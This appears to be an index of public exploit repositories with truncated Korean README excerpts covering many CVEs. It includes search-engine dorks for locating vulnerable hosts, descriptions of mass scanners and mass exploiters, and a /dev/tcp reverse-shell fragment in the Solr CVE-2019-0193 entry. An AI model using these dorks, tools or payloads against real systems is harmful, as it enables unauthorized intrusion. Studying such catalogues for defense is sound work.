CVE-2023-46747-RCE

취약점 세부 정보 fofa： title="BIG-IP" || iconhash="-335242539" shodan title:"BIG-IP" 영향을 받는 버전 https://my.f5.com/manage/s/article/K000137353 취약점 재현 1. 현재 여기서 사용자는 admin만 있습니다: 2. 스크립트 실행: git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git cd CVE-2023-46747-RCE pip install -r requirements.txt...

redis_exploit

CVE-2025-49844 RediShell - 실습 환경 Redis의 심각한 CVE-2025-49844 RediShell 취약점을 테스트하고 이해하기 위한 실용적인 실습 환경입니다. ⚠️ 경고 교육 목적으로만 사용하세요! 직접 소유했거나 테스트할 명시적 권한이 있는 시스템에서만 사용하세요 인터넷에 노출하지 마세요 프로덕션 환경에서 사용하지 마세요 취약점 정보 CVE ID : CVE-2025-49844 이름 : RediShell CVSS 점수 : 10.0 치명적 유형 : Lua 인터프리터의 Use-After-Free UAF 영향...

CVE-2022-29464-mass

WSO2 Carbon Server CVE-2022-29464 사전 인증 RCE 버그 CVE-2022-29464. 작성자: Chocapikk trhacknon이 약간 수정함 사용법 python exploit.py -u 또는: python exploit.py -f Zoomeye Dork CLI: zoomeye search 'title:"WSO2 Management Console"' -num 10 -filter=ip,port WEB: title:"WSO2 Management Console" Google dorks...

CVE-2025-52078

🚨 CVE-2025-52078 - 인증되지 않은 임의 파일 업로드 - Writebot SaaS React 템플릿 이 저장소는 Writebot – AI Content Generator SaaS React Template 에서 발견된 인증되지 않은 임의 파일 업로드 취약점에 대한 개념 증명 익스플로잇을 포함합니다. 🧠 제품 페이지: ThemeForest – Writebot 🆔 취약점 메타데이터 속성| 값 ---|--- CWE-ID| CWE-434: 위험한 유형의 파일 제한 없는 업로드 심각도| 중간 버전| 3.1 벡터 문자열|...

CVE-2021-27928-POC

CVE-2021-27928 POC 설명 MariaDB 10.210.2.37 이전, 10.310.3.28 이전, 10.410.4.18 이전, 10.510.5.9 이전, 2021-03-03 기준 Percona Server, 그리고 2021-03-03 기준 MySQL용 wsrep 패치에서 원격 코드 실행 문제가 발견되었습니다. 신뢰할 수 없는 검색 경로로 인해 eval 주입이 발생하며, 데이터베이스 SUPER 사용자는 wsrepprovider와 wsrepnotifycmd를 수정한 후 OS 명령을 실행할 수 있습니다. 참고: 이 문제...

CVE-2019-0708-poc

CVE-2019-0708-poc CVE-2019-0708 원격 코드 실행 취약점 대량 탐지 3389hosts는 탐지 대상 IP 주소 목록이며, 한 줄에 하나씩입니다. pool = ThreadPool10 는 사용자 정의 스캔 스레드입니다. 주의 Windows python3 환경 사용법 1. 3389hosts를 편집하여 탐지 대상 IP 주소를 파일에 한 줄에 하나씩 작성합니다. 2. 명령줄에서 코드가 있는 디렉터리로 이동한 후 python cve-2019-0708.py를 실행합니다...

CVE-2023-22518

CVE-2023-22518 Confluence CVE-2023-22518 익스플로잇 백업-복원 RCE 엔드포인트 POST /setup/setup-restore.action 유효한 로그인 및 관리자 권한 필요 또는 인증 우회 파일 xmlexport-20231127-071916-1.zip – 빈 Confluence 백업. 이것을 복원하면 모든 데이터가 삭제됩니다!!! 임의의 백업으로 교체하세요. 스크립트와 같은 폴더에 두십시오. shellplug.jar – getshell 플러그인, CVE-2023-22515RCE에서 가져옴. 사...

cloudsplaining

Cloudsplaining Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report. Example report Documentation For full documentation, please visit the project on ReadTheDocs. Installation Cheatsheet Example report...

CVE-2024-38063-poc

실제 PoC가 https://github.com/ynwarcs/CVE-2024-38063 에 공개되었으며 제 코드에도 업데이트했습니다. 이는 시스템을 충돌시킬 수 있으므로 VM을 사용하거나 학습 목적으로만 사용하세요. 코드를 수정하여 RCE를 얻을 수 있습니다. 사용법 iface 대부분 기본적으로 활성화되어 있습니다. 자세한 내용은 CVE-2024-38063-poc.py 를 확인하세요. 발견자 https://x.com/XiaoWei 코드/POC 크레딧 = @ynwarcs 감사합니다! Chirag Artani...

cve-2021-42013-httpd

취약점 도커화: cve-2021-42013 이 프로젝트는 Docker를 사용하여 특정 취약점을 도커화하는 것을 목표로 합니다. 목표는 취약점을 안전하게 악용하고 테스트할 수 있는 격리된 환경을 생성하는 것입니다. 취약한 애플리케이션 Apache HTTP Server 2.4.50 - 원격 코드 실행 및 경로 탐색 설치 이 프로젝트를 실행하려면 머신에 다음이 필요합니다: Docker Python Curl 필수 구성 요소가 설치되면 이 Git 저장소를 머신에 클론할 수 있습니다: git clone...

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner...

CVE-2025-56513-NiceHash-Update-Chain-Compromise

CVE-2025-56513 NiceHash QuickMiner 업데이트 메커니즘의 심각한 공급망 취약점 작성자: Prince T Philip 역할: 독립 보안 연구원 심각도: CRITICAL — CVSS 9.8 영향: 원격 코드 실행 / 공급망 손상 상태: 공개 공개 및 CVE-2025-56513 할당됨 요약 CVE-2025-56513은 NiceHash QuickMiner v6.12.0에서 발견된 심각한 취약점으로, 원격 공격자가 소프트웨어 업데이트 프로세스를 손상시키고 피해자 시스템에서 임의 코드를 실행할 수 있게 합니다. ...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC CVE-2024-32002의 PoC로, 원격 코드 실행RCE을 시연합니다. 관련 서브모듈 저장소는 cve-2024-32002-poc-rce에서 확인하세요. 이 저장소에 포함된 내용 .git 디렉터리를 가리키는 임의의 이름을 가진 심볼릭 링크. 악성 서브모듈을 정의하는 .gitmodules 파일. 이 저장소를 재현하는 방법 이 저장소는 LinuxWSL2, 정확히는에서 생성되었습니다. 악성 저장소는 대소문자 구분 파일 시스템에서만 생성할 수 있다는 점이 중요합니다. 1. 모두 소문자로 심볼...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 NoSQL 인젝션 RCE 랩 CVE‑2020‑35848은 0.11.2 이전 버전의 Agentejo Cockpit CMS에 영향을 미치며, /auth/newpassword 엔드포인트에 치명적인 NoSQL 인젝션 취약점을 유발합니다. 이 결함으로 인해 인증되지 않은 공격자가 비밀번호 재설정 요청에 MongoDB 연산자를 주입하여 다음을 수행할 수 있습니다: 유효한 사용자 이름 열거 비밀번호 재설정 토큰 추출 임의 계정의 비밀번호 재설정 파일 업로드 또는 사용자 지...

CVE-2020-8840

CVE-2020-8840：FasterXML/jackson-databind 원격 코드 실행 취약점 0x00 개요 jackson-databind는 FasterXML 프로젝트 그룹의 JSON 처리 라이브러리입니다. 0x01 취약점 개요 2월 19일, NVD는 jackson-databind의 JNDI 주입으로 인한 원격 코드 실행 취약점CVE-2020-8840을 공개했으며, CVSS 점수는 9.8입니다. 영향을 받는 버전의 jackson-databind는 org.apache.xbean.propertyeditor.JndiConverte...

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 이 Python 스크립트는 사이트 목록을 생성하고 빠르게 공격할 수 있도록 해줍니다. 필수 조건 : python curl 사용법: $ python cve.py 스크립트 실행 $ "공격할 사이트를 입력하세요 =" http:victime.com/ 사이트를 목록에 추가 $ chmod +x nikmok.txt 파일에 777 권한 부여 $ ./nikmok.txt 목록에 추가된 모든 사이트에 curl 요청 실행 쉘 경로...

CVE-2023-26469

CVE-2023-26469 REC PoC 이 저장소는 CVE-2023-26469에 대한 익스플로잇 스크립트를 포함하고 있으며, 공격자가 경로 탐색을 활용하여 Jorani 1.0.0을 실행 중인 서버의 파일에 접근하고 코드를 실행할 수 있도록 합니다. 또한, 스크립트에는 추가적인 악용을 위한 셸 업로드 기능이 포함되어 있습니다. 취약점 개요 CVE-2023-26469 : Jorani 1.0.0에서 원격 코드 실행을 가능하게 하는 치명적인 취약점입니다. 자세한 내용은 NVD 보고서에서 확인할 수 있습니다. 면책 조항 이 코드는 교...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 그냥 익스플로잇을 가지고 놀고 있습니다. BobTheShopLifter가 한 훌륭한 작업에서 수정함, https://github.com/BobTheShoplifter/Spring4Shell-POC 그리고 TryHackMe, https://tryhackme.com/room/spring4shell 약간의 수정만 했습니다. 익스플로잇이 배포되었는지 확인할 때 몇 가지 추가 기능을 넣었습니다. 대기 시간 동안 프로그레스 바를 추가하여 작동 방식을...

CVE2_Jenkins_RCE

Jenkins CLI Websocket 하이재킹 - PoC CVE-2024-23898에 대한 개념 증명 교차 사이트 WebSocket 하이재킹 익스플로잇입니다. 이는 Jenkins 버전 2.217-2.441에 영향을 미치는 취약점입니다. 이 익스플로잇은 Jenkins CLI를 대상으로 하며, 이를 통해 원격으로 Jenkins 제어 서버에 접근하고 명령을 실행할 수 있습니다. 이 익스플로잇을 통해 원격 공격자는 관리자가 대상 Jenkins 제어 서버에 로그인한 상태에서 악성 사이트를 방문하도록 속임을 당할 경우, Jenkins ...